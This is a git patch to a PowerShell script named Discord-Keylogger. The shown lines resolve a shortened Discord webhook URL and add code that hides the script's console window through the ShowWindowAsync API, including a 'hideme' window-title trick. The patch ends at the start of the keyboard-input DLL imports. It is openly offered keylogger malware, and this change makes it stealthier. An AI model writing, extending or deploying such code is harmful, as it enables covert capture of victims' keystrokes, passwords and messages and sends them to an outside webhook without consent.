From 3e2879216a935fc24cc8ef6ba3f9aa39ecf44b73 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:16:04 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Keylogger/main.ps1 | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/Discord-Keylogger/main.ps1 b/Discord-Keylogger/main.ps1 index 6b2ae19..afa4d5b 100644 --- a/Discord-Keylogger/main.ps1 +++ b/Discord-Keylogger/main.ps1 @@ -2,6 +2,19 @@ # shortened URL Detection if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} +$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' +$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru +$hwnd = (Get-Process -PID $pid).MainWindowHandle +if($hwnd -ne [System.IntPtr]::Zero){ + $Type::ShowWindowAsync($hwnd, 0) +} +else{ + $Host.UI.RawUI.WindowTitle = 'hideme' + $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) + $hwnd = $Proc.MainWindowHandle + $Type::ShowWindowAsync($hwnd, 0) +} + # Import DLL Definitions for keyboard inputs $API = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]